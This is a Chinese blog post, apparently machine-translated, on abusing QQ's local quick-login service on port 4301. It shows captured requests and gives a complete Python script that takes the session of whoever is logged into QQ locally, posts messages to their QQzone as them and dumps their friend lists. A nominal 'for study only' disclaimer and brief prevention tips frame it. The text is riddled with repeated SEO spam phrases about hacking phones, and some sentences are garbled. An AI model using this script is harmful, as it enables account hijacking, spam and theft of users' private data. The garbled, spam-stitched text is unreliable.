技术分析QQ现在实现快捷登录的方式是这样的

概括

为什么你的QQ空间会自动吐槽赌博?例如:

这是怎么做的?看完这篇文章,你就会明白为什么会这样

那就往下看!

背景

昨天我的空间和Q群发布了一些莫名其妙的东西,可能是因为这两天去网吧开了QQ。

冷静分析

遇到这种情况,一开始就想到了CSRF。毕竟之前也遇到过“QQ空间蠕虫”之类的东西,但是结合去网吧的行为,我没有打开任何网页、登录空间等操作,所以排除。

嗯,猜测,大概率是因为你在网吧被黑的时候登录了QQ,然后获取了本地QQ的一些权限,被一些高权限的操作代替了,比如发消息,聊天。

罪魁祸首——快速登录

查阅资料后,基本上是一个快速登录的锅。

以下是整组黑工行为汇总

我研究了一个下午的快捷登录,并用它来重现它。其技术分析如下。

黑客是如何黑到你手机的?绝对涨姿势,一位黑客的wi-fi入侵_黑客怎么入侵手机的_黑客技术入侵qq教学手机(黑客技术入侵网站)

技术分析

QQ现在实现了这样的快速登录方式

在本地设置一个服务器,在本地监听4301端口,等待本地应用通过HTTP与其交互

应用根据接口要求从远程服务器获取,然后用该参数请求4301端口获取本地登录的账号信息

拿到账号后,再次请求本地4301端口黑客技术入侵qq教学手机(黑客技术入侵网站),请求指定账号登录,得到

请求远程登录服务器获取对应账号的对应服务,然后请求一个网页进行校验,通过验证,返回认证令牌(skey)。使用此令牌,您可以登录应用程序

可见,任何本地应用都可以与QQ建立的本地服务器进行交互,获取账号信息,然后快速登录。漏洞就在这里。

现在对快速登录请求进行详细的抓包分析。

1. 向远程服务器请求并获取参数

请求域名''

GET /cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=1 HTTP/1.1 Host: xui.ptlogin2.qq.com

url里面的一些参数不用关注,随便抓个包复制上去就行了。

这个请求已经检查过了,所以需要改成*.

黑客怎么入侵手机的_黑客是如何黑到你手机的?绝对涨姿势,一位黑客的wi-fi入侵_黑客技术入侵qq教学手机(黑客技术入侵网站)

在对请求的响应中,这是设置

2\. 用``,向本地端口请求获取账户信息

返回的响应是一段JS

HTTP/1.1 200 OK
Content-Type: Application/javascript
Content-Length: 323 var var_sso_uin_list=[{"account":"12345678","client_type":65793,"face_index":0,"gender":1,"nickname":"testzero","uin":"12345678","uin_flag":4719111},{"account":"12345678","client_type":65793,"face_index":534,"gender":1,"nickname":"testzero","uin":"12345678","uin_flag":32142}];ptui_getuins_CB(var_sso_uin_list);

包含本地登录的账号信息,包括账号、昵称、性别等一些参数

3. 用账号和账号向本地端口请求获取指定账号的账号

GET /pt_get_st?clientuin=3537***086&callback=ptui_getst_CB&r=0.03809848617064593&pt_local_tk=2008428654 HTTP/1.1 Host: localhost.ptlogin2.qq.com:4301

参数是Q数,r是随机数,你可以随便给,就是

请求响应返回一个 Set-

4. 使用包含的登录到远程服务器

GET /jump?clientuin=3537***086&keyindex=9&pt_aid=549000912&daid=5&u1=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=2008428654&pt_3rd_aid=0&ptopt=1&style=40 HTTP/1.1

黑客怎么入侵手机的_黑客技术入侵qq教学手机(黑客技术入侵网站)_黑客是如何黑到你手机的?绝对涨姿势,一位黑客的wi-fi入侵

其中是账号,u1是对应业务的地址,所有有id的字段都应该是对应的业务,抓个包复制一下就行了,不用太担心。

此步骤不需要任何身份验证。带上前面的,发送相应的获取登录请求(包括skey字段),会返回一个验证过的URL。您需要 GET 这个 URL 才能获得真正的应用程序登录(包括 Field)请求响应:

HTTP/1.1 200 OK
Date: Tue, 22 Jan 2019 03:27:50 GMT
Content-Type: application/javascript
P3P: CP=CAO PSA OUR
Server: Tencent Login Server/2.0.0 Strict-Transport-Security: max-age=31536000 Set-Cookie: pt2gguin=;Expires=Thu, 01 Jan 1970 00:00:00 GMT;Path=/;Domain=qq.com;
Set-Cookie: pt2gguin=o3534***3086;Expires=Tue, 19 Jan 2038 03:14:07 GMT;Path=/;Domain=ptlogin2.qq.com;
Set-Cookie: ETK=;Path=/;Domain=ptlogin2.qq.com;
Set-Cookie: uin=o3534***3086;Path=/;Domain=qq.com;
Set-Cookie: skey=@72eionO2j;Path=/;Domain=qq.com;
省略若干Set-Cookie
ptui_qlogin_CB('0', 'https://ptlogin2.qzone.qq.com/check_sig?pttype=2&uin=3534***3086&service=jump&nodirect=0&ptsigx=a1199b83fbabffba57f259d79a1d2f221d70579cde815b7284a9d8201fc4d9a34bc133aacc444dd2309b1908aa05393ddc39433&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=5&j_later=0&low_login_hour=0®master=0&pt_login_type=2&pt_aid=549000912&pt_aaid=0&pt_light=0&pt_3rd_aid=0', '')

返回的是一段JS,里面的URL是验证URL,我们需要请求它验证通过,不需要附加参数,直接请求返回的URL字符串

5. 请求第4步返回的验证URL获取完整的登录权限

HTTP/1.1 302 Found
Date: Tue, 22 Jan 2019 03:27:50 GMT
Server: Tencent Login Server/2.0.0 Strict-Transport-Security: max-age=31536000 Set-Cookie: uin=o3534***3086;Path=/;Domain=qq.com;
Set-Cookie: skey=@72fei1O2j;Path=/;Domain=qq.com;
Set-Cookie: pt2gguin=;Expires=Thu, 01 Jan 1970 00:00:00 GMT;Path=/;Domain=qq.com; pt4_token=dZaYtbPkQf38MeZh8ik9jOmLtrxcrEMguvM_;Path=/;Domain=qzone.qq.com;
Set-Cookie: p_skey=hlcQmdkZHYwNk5y2XGipsSOm0Igjj7AKo_;Path=/;Domain=qzone.qq.com;Secure;

省略一些设置-

自动向本地帐户发送评论

达到这个目的无非就是完成上面的快捷登录,然后在空间里求一个评论请求,模拟一下。

抓包和找参数的基本技巧我就不细说了。

值得一提的是,该空间有CSRF防御,所以需要找到两个参数才能发送。

1.

2.g_tk

其中是页面刷新空间时给你的token黑客技术入侵qq教学手机(黑客技术入侵网站),直接获取即可

黑客技术入侵qq教学手机(黑客技术入侵网站)_黑客是如何黑到你手机的?绝对涨姿势,一位黑客的wi-fi入侵_黑客怎么入侵手机的

3. 我花了很多精力来跟踪`g_tk` 参数。源代码在[]()的函数中

getACSRFToken:function(url) {
url = QZFL.util.URI(url);
var skey; if (url) { if (url.host && url.host.indexOf("qzone.qq.com") > 0) {
try {
skey = QZONE.FP._t.QZFL.cookie.get("p_skey");
} catch (err) {
skey = QZFL.cookie.get("p_skey");
}
} else { if (url.host && url.host.indexOf("qq.com") > 0) {
skey = QZFL.cookie.get("skey");
}
}
} if (!skey) {
skey = QZFL.cookie.get("p_skey") || (QZFL.cookie.get("skey") || (QZFL.cookie.get("rv2") || ""));
}
var hash = 5381; for (var i = 0, len = skey.length;i < len;++i) { hash += (hash << 5) + skey.charCodeAt(i);
} return hash & 2147483647;
}

其实就是判断里面有没有skey或者用它来做一个简单的shift加密

这是核心代码。比玩CTF的时候简单多了。将它放入游戏只是一种奖励。

var hash = 5381; for (var i = 0, len = skey.length;i < len;++i) { hash += (hash << 5) + skey.charCodeAt(i);
} return hash & 2147483647;
}

所以可以看出g_tk是通过简单的移位加密生成的

然后抓取数据包并发送通话请求

https://user.qzone.qq.com/proxy/domain/taotao.qzone.qq.com/cgi-bin/emotion_cgi_publish_v6?qzonetoken={}&g_tk={}

把g_tk放进去,然后把POST数据中的con字段改成你要发布的。它可以类似于您要在我的计算机上发送的内容来完成。我可以进入你的空间和谈话,看隐私的目的。

经常性的

写一个循环脚本花了几个小时

只要脚本运行,本机上的QQ在线就会发送评论并获取所有好友信息、评论、昵称和好友组。

检测本地帐户

黑客是如何黑到你手机的?绝对涨姿势,一位黑客的wi-fi入侵_黑客技术入侵qq教学手机(黑客技术入侵网站)_黑客怎么入侵手机的

发送特定谈话

获取好友列表信息和群组

测试源代码

(脚本仅供学习使用,禁止非法使用!)

import requests
import re
# 计算发送说说的防御CSRF的Token
def getACSRFToken(p_skey):
    hash_v = 5381
    if p_skey:
        for i in range(len(p_skey)):
            hash_v += (hash_v << 5) + ord(p_skey[i])
        return hash_v & 2147483647
    return None
# 想要发送的说说
Message = "This is an automated messaging test by wz"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36",
    "Referer": "https://i.qq.com/"
}
# 从QQ服务器获取请求本地服务器的Cookie
get_local_token_url = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?" \
                      "proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&" \
                      "low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&" \
                      "appid=549000912&style=22&target=self&" \
                      "s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&" \
                      "pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&" \
                      "pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=1"
# Header头Referer字段必须为qq.com
login_session = requests.Session()
res = login_session.get(get_local_token_url, headers=header)
# 获取关键参数pt_local_token
pt_local_token = res.cookies.get("pt_local_token")
# 带着刚才的Cookie以及从Cookie中拿到的pt_local_tk对本地服务器进行请求
# 获取已登录的账号信息
port = 4301
local_qq_server_url = "https://localhost.ptlogin2.qq.com"  # 建立在本地的QQ服务器地址,等待应用与其交互
# 传参获取本地已登录账号信息
get_QQ_num_url = local_qq_server_url + \
                 ":{}/pt_get_uins?callback=ptui_getuins_CB&r=0.7068102287925351&pt_local_tk={}".format(port,
                                                                                                       pt_local_token)
res = login_session.get(get_QQ_num_url, headers=header)
# 返回的账号信息是一段js的数组
dic_str = None
try:
    dic_str = re.findall("var var_sso_uin_list=(\[[\s\S]*?\])", res.text)[0]
except IndexError:
    print("Fail to get local account info. ")
    exit(0)
# ====================================== 显示本地登录账号信息 ===========================================
account_list = eval(dic_str)
print("Detect {} account login locally".format(len(account_list)))
print("=====================================================")
account_num_list = []
for i in range(len(account_list)):
    print("NO.{}".format(i + 1))
    print("account:{}\nnickname:{}".format(account_list[i].get("account"), account_list[i].get("nickname")))
    account_num_list.append(account_list[i].get("account"))
print("=====================================================")
# ====================================== 对每个账号进行快捷登录 ===========================================
# ===================================== 以登录QQ空间发个说说为例 ==========================================
# 对于已登录的账号
for account in account_num_list:
    # 发送QQ号码及pt_local_token参数到本地服务器获取必要的Cookie,以便获取远程服务器登录许可
    get_QQ_cookie_url = local_qq_server_url + \
                        ":{}/pt_get_st?callback=ptui_getst_CB&" \
                        "r=0.7068102287925351&" \
                        "pt_local_tk={}&" \
                        "clientuin={}".format(port,
                                              pt_local_token,
                                              account)
    res = login_session.get(get_QQ_cookie_url, headers=header)
    # 获取远程登录凭证
    # 其中u1为QQ空间地址(抓包可获得)
    login_url = "https://ssl.ptlogin2.qq.com/jump?clientuin={}&" \
                "keyindex=9&" \
                "pt_aid=549000912&" \
                "daid=5&" \
                "u1=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&" \
                "pt_local_tk={}&" \
                "pt_3rd_aid=0&" \
                "ptopt=1&style=40".format(account, pt_local_token)
    # 按照抓包获得的请求照样地设置了一下Referer 免得有检测
    login_session.headers['Referer'] = get_local_token_url
    res = login_session.get(login_url)
    # 至此获取凭证(clientkey)成功,下面获取p_skey
    # 到此处会有个check操作,需要GET去请求验证一下上一个请求响应内容给的地址
    # ============================================ 获取p_skey ===================================================
    zone_login_check_url = None
    try:
        # 获取认证地址及参数
        zone_login_check_url = re.findall("'(http.*?)'", res.text)[0]
    except IndexError:
        print('Fail to get login token .')
        exit(0)
    # 发起认证请求
    res = login_session.get(zone_login_check_url)
    # 一样的补一下Referer和UA
    login_session.headers['Referer'] = "https://qzs.qzone.qq.com/qzone/v5/loginsucc.html?para=izone"
    login_session.headers[
        'User-Agent'] = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36"
    # 请求对应账号的空间,获取发送说说必要参数——qzone_token(响应的JS里面获取)以及p_skey(cookie中获取)
    res = login_session.get("https://user.qzone.qq.com/{}".format(account))
    # 获取必要参数p_skey用来计算CSRFToken
    p_skey = login_session.cookies.get("p_skey")
    g_tk = getACSRFToken(p_skey) # 计算CSRFToken
    # 从响应的页面JS中获取qzone_token
    res.encoding = 'utf-8'
    qzone_token = re.findall('window.g_qzonetoken = \(function\(\){ try\{return "([0-9a-fA-F]+?)";\}', res.text)[0]
    # 发送说说的地址(抓包可得),并传入刚才获取的qzone_token以及g_tk
    post_comment_url = "https://user.qzone.qq.com/proxy/domain/taotao.qzone.qq.com/cgi-bin/emotion_cgi_publish_v6?" \
                       "qzonetoken={}&g_tk={}".format(qzone_token, g_tk)
    # 补一下Content-Type
    login_session.headers["Content-Type"] = "application/x-www-form-urlencoded"
    # 发送说说的必要参数(抓包可得),其中con字段及说说内容
    param = {"syn_tweet_verson": "1", "paramstr": "1", "pic_template": "", "richtype": "", "richval": "",
             "special_url": "", "subrichtype": "", "who": "1", "con": Message, "feedversion": "1",
             "ver": "1", "ugc_right": "1", "to_sign": "0", "hostuin": "3517713083", "code_version": "1", "format": "fs",
             "qzreferrer": "https%3A%2F%2Fuser.qzone.qq.com%2F3517713083"}
    # 发送说说
    res = login_session.post(post_comment_url, data=param)
    if res.status_code == 200:
        print("[+] Account {} send message successfully.".format(account))
    # ================================================= 获取好友列表 =====================================================
    # 接口地址
    get_friends_url = "https://h5.qzone.qq.com/proxy/domain/r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?" \
                      "uin={}&follow_flag=1&" \
                      "groupface_flag=0&fupdate=1&" \
                      "g_tk={}".format(account, g_tk)
    res = login_session.get(get_friends_url)
    print("QQ friends info.")
    print(res.text)

其实这些网页快速登录的界面我们都很熟悉。这些操作模拟浏览器或软件强行代您进行快速登录。请注意,本地运行的任何软件都可以执行此操作。因此,不是帐户密码被盗,而是某些恶意软件盗取的登录凭据,而不是您发送垃圾邮件。当然,我没有讨论如何绕过网吧的恢复机制,那是另外一回事。

一些不法分子将这些接口拼凑起来,编写软件种植在网吧等公共互联网设施中,等待Q上的人帮他处理一些不法行为,比如在QQ群和空间发送赌博、色情信息、广告等。赚取利润。这些技术并不复杂。很多初中甚至小学文化的“大黑”都可以写(蹲)出(坐牢)(入)。

预防措施:

尽量不要在公共场合登录QQ,毕竟任何人都可以帮你发一些奇怪的东西

如果发现账号异常,开始乱发东西,第一时间修改密码会导致“大黑宽”获取瞬间失败,可以立即停止发送垃圾邮件

那你可以删了再聊,发个群道歉或者像我一样写文章最后的面子补救